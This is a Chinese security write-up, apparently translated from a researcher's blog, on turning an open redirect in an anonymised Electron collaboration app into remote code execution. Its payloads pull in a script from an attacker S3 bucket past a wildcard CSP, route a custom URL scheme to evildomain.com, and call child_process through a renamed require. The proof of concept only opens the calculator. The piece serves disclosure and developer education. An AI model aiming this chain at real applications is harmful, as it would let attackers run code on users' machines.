本文讲述作者以白盒方式对一Electron架构应用程序进行的安全测试,作者通过该应用程序的一个开放重定向跳转漏洞,在调试功能辅助下,提权到了远程代码执行漏洞(RCE)。(出于保密原因,其中出现的代码样例已被匿名)
漏洞背景
Node.js目前已成为流行的开发环境,像React, React Native和Electron框架都采用了Node.js,开发者可以方便地用其来构建移动端和本地平台的客户端应用。由于Node.js是异步驱动的javascript机制,因此客户端应用也可以说是一个简化版的环境应用。
但所有的便利性之后都会带来安全风险,把路径和模板化方式转移到客户前端的方式,容易让攻击者从中发现一些可以利用的API端点或未混淆编码的数据信息等东西。就像用我开发的工具Webpack Exploder一样,用它可以针对Webpacked方式的React应用进行反编译,然后从其源码中发现漏洞。
对于本地桌面应用程序来说,如果是Electron架构的,则其调试和反编译过程相对简单。直接都不需用Ghidra/Radare2/Ida等专业反编译软件,只要用Electron内置的Chromium开发者工具就。另外,由于Electron说明文档中推荐使用 asar 打包方式,所以其解包也可以像tar方式一样简单完成。
有了目标应用的Electron架构源码后,攻击者可以在其中挖掘客户端漏洞,然后实施提权,进一步形成代码执行漏洞。这里,不需要时髦的缓冲区溢出利用,仅用Electron内置的nodeIntegration问题,就可以实现从XSS漏洞到弹出本地系统计算器程序calc的RCE提权。
以上是安全研究员Jasmin Landry测试的利用Electron应用程序XSS提权到RCE的展示。对我个人来说,我比较倾向于对目标测试程序实施白盒测试,因为至少清楚其代码架构,可以聚焦关键问题实施测试。
白盒测试方式发现漏洞
某天,我看到了上述Jasmin Landry对Electron应用从XSS到RCE的提权,由此让我灵感启发。刚好手边正好有Electron架构的一款应用程序,于是我马上就在MacOS上进行了安装,打算进行深入测试。首先,我用以下步骤来提取该应用程序的源码:
1、访问Application文件夹;.
2、右击应用程序,选择Show Package Contents;
3、输入包含打包文件app.asar的Contents目录;
4、然后运行命令npx asar extract app.asar source(应用中的Node已安装);
5、在新生成的source文件夹中即可查看反编译后的源码。
发现存在安全风险的配置问题
在检查其中的package.json文件时,从”main”: “app/index.js”配置文件中,我发现应用程序的主程序由index.js发起。进一步查看文件index.js发现,其中的nodeIntegration设置为默认的true,可以支持大部份的BrowserWindow模块实例和Node.js使用,这也就是说,我可以用其来把恶意JS脚本提权成本地代码执行。由于nodeIntegration是默认的true,因此窗口实例中的JS脚本可以访问到如require的本地Node.js函数,或导入如child_process的危险模块,最终,用以下方法,就会导致如《From Markdown to RCE in Atom》中那样经典的计算器calc弹出情况:
require(‘child_process’).execFile(‘/Applications/Calculator.app/Contents/MacOS/Calculator’,function(){})
XSS漏洞尝试
接下来我需要做的就是找到一个XSS点。由于测试的目标应用程序是一个跨平台协作工具软件,有点类似Slack 或 Zoom这样的应用,所以其中存在很多如消息输入或上传文件分享的用户输入点。之后,我以electron . –proxy-server=127.0.0.1:8080形式,从其源码中启动了应用程序,然后把其流量代理到了BurpSuite中。
然后,我用<b>pwned</b>方式在每个输入点测试了HTML的Payload,不一会,我就发现了一个可疑的XSS点,但是奇怪的是,用标准形式的Payload,如<script>alert()</script>或 <svg onload=alert()> 却不可有效触发。这貌似需要经过一番调试才行。
绕过CSP策略
通常,可以用F12或Ctrl+Shift+I的快捷键,访问应用程序Electron架构中的DevTools,但我试了试,两种快捷键都不行。好像是应用程序删除了该快捷键设置,之后我从源码中对Electron快捷键设置模块globalShortcut进行了查找,发现了以下配置:
electron.globalShortcut.register('CommandOrControl+H', () => { activateDevMenu(); });
原来,该应用设置了自己的打开菜单快捷键方式,于是,我输入了CMD+H,之后在菜单栏中跳出了一个开发者工具,其中包含了如Update和Callback的很多选项,但更为重要的是,其中也有DevTools选项!我马上打开了其DevTools选项准备测试之前的XSS Payload,后来我才从DevTools控制台提示消息看出,之前标准XSS Payload失效的原因在于,其中的CSP策略限制。该应用的CSP策略包含了数个白名单URL:
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com
该CSP策略排除了unsafe-inline规则,阻拦了如svg的事件处理操作,而且,由于我构造的Payload是以JS形式动态注入页面的,如<script>这样的通用标签当然也会被CSP阻拦。但是,该CSP策略存在一个致命错误:它允许包含进入通配形式(wildcard)的URLs!因此,像https://*.s3.amazonaws.com这样的URL,我就可以向其中包含进我自己S3存储桶中的脚本代码。这里,我参照Intigriti’s Easter XSS challenge项目,使用了包含iframe属性srcdoc的一个小技巧:
<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>’></iframe>
用此方法,我就成功得到了XSS的alert提示框!有点意思了吧!我接着把我S3存储桶中的evilscript.js修改成:
window.require(‘child_process’).execFile(‘/Applications/Calculator.app/Contents/MacOS/Calculator’,function(){})
运行之后,啥也没有,好吧,再深入看看。
分析require函数
回到DevTools控制台,我发现了错误:Uncaught TypeError: window.require is not a function,这就有点让我费解了,因为nodeIntegration是true设置后,window方法是可以调用require这样的Node.js函数的。我再次回到源码中,发现以下代码是用来创建BrowserWindow的:
const appWindow = createWindow('main', { width: 1080, height: 660, webPreferences: { nodeIntegration: true, preload: path.join(__dirname, 'preload.js') }, });
再检查preload.js文件,发现其功能如下:
window.nodeRequire = require; delete window.require; delete window.exports; delete window.module;
原来,目标应用程序在preload序列中,对原先相关的require函数进行了重命名和删除,这是Electron对调用如AngularJS的外部JS库时做的设置,此时,需要对一些同名的变量名进行重命名。像我之前发现的漏洞一样,不当的配置总是会引发安全问题。这里,开启的nodeIntegration配置,以及重命名的require函数,让代码执行成为可能。
经过微调,我用window.parent.nodeRequire方式构造了XSS Payload,发出请求后,就得到了预想中的计算器弹窗calc!
测试代码执行(Code Excution)
其实,早在我对目标应用程序进行代码审查之前,我就在其Web应用中发现了一个开放重定向漏洞:
https://collabapplication.com/redirect.jsp?next=//evil.com
由于该应用程序有一个功能就是,可以从浏览器的web链接方式中打开一个新窗口,所以当时该开放重定向漏洞上报后,厂商漏洞分类人员就要求我证明其存在的危害影响。
就比如,在安装有Slack 或 Zoom应用的系统中,如果你的浏览器打开一个如zoom.us的链接,然后它就会去运行打开系统中的Zoom程序:
原因在于,浏览器打开的这些链接都是某些应用注册的特定格式的URL,比如,Zoom注册了zoommtg这种特定的URL格式,因此如果你系统安装了Zoom,在浏览器打开:
zoommtg://zoom.us/start?confno=123456789&pwd=xxxx
之后,就会触发Zoom程序运行。接下来,经过分析,我在以下源码函数中发现我测试的这个应用程序有着上述类似的功能,只要在浏览器中打开特定页面,就会触发应用程序一个协作进程的运行:
function isWhitelistedDomain(url) { var allowed = ['collabapplication.com']; var test = extractDomain(url); if( allowed.indexOf(test) > -1 ) { return true; } return false; }; let launchURL = parseLaunchURL(fullURL) if isWhitelistedDomain(launchURL) { appWindow.loadURL(launchURL) } else { appWindow.loadURL(homeURL) }
上述代码可以这样解释:该应用程序具有名为collabapp://collabapplication.com?meetingno=123&pwd=abc的特定格式URL,应用程序从该URL启动时,URL会被传递给launch进程,launch进程会从collabapp://后判断域名是否为collabapplication.com,如果是即会加载URL。
这种白名单式的检查是没错,但其安全性却是脆弱的,因为在其中的collabapplication.com处存在一个开放重定向漏洞,可以强制应用程序加载任意URL,结合nodeIntegration的默认开启漏洞,完全就可以把应用程序的URL加载跳转到攻击者受控的恶意页面中去,然后再通过window.parent.nodeRequire(…)实现代码执行。
我最终构造的Payload如下:
collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html
在其中的evil.html里,我放入了以下代码命令:
window.parent.nodeRequire(‘child_process’).execFile(‘/Applications/Calculator.app/Contents/MacOS/Calculator’,function(){})
利用该Payload,受害者一旦了攻击者构造的恶意页面,就会自动弹出计算器程序calc,实现了RCE提权!
现实情况
在疫情流行后期,各种应用程序蓬勃发展,开发人员在程序开发中的各种走捷径方式可能会导致很大的安全隐患,而这些开发早期犯下的问题或错误将会很难及时修复。
回到该应用程序中的nodeIntegration和preload问题上,这种问题将会对应用程序形成安全隐患,只有从开发架构和配置上入手才能解决。即使厂商修复了其中存在的XSS或开放重定向bug,但可能其它新的实例又会导致代码执行。而且,关闭nodeIntegration又会破坏整个应用程序的运行机制,所以从这里就需要重新考虑整个程序的开发架构。
虽然开发者用Electron这样的Node.js框架可以实现敏捷应用开发构建,但是,其中广泛存在的用户输入区域会形成大量安全风险,其可导致的XSS alert弹窗跳出与本地系统计算器calc跳出大不一样。因此,对于开发者来说应该格外重视安全开发,对于用户来说应该了解基本的应用安全问题。
参考来源:spaceraccoon
来源:freebuf.com 2020-08-21 11:47:46 by: clouds
请登录后发表评论
注册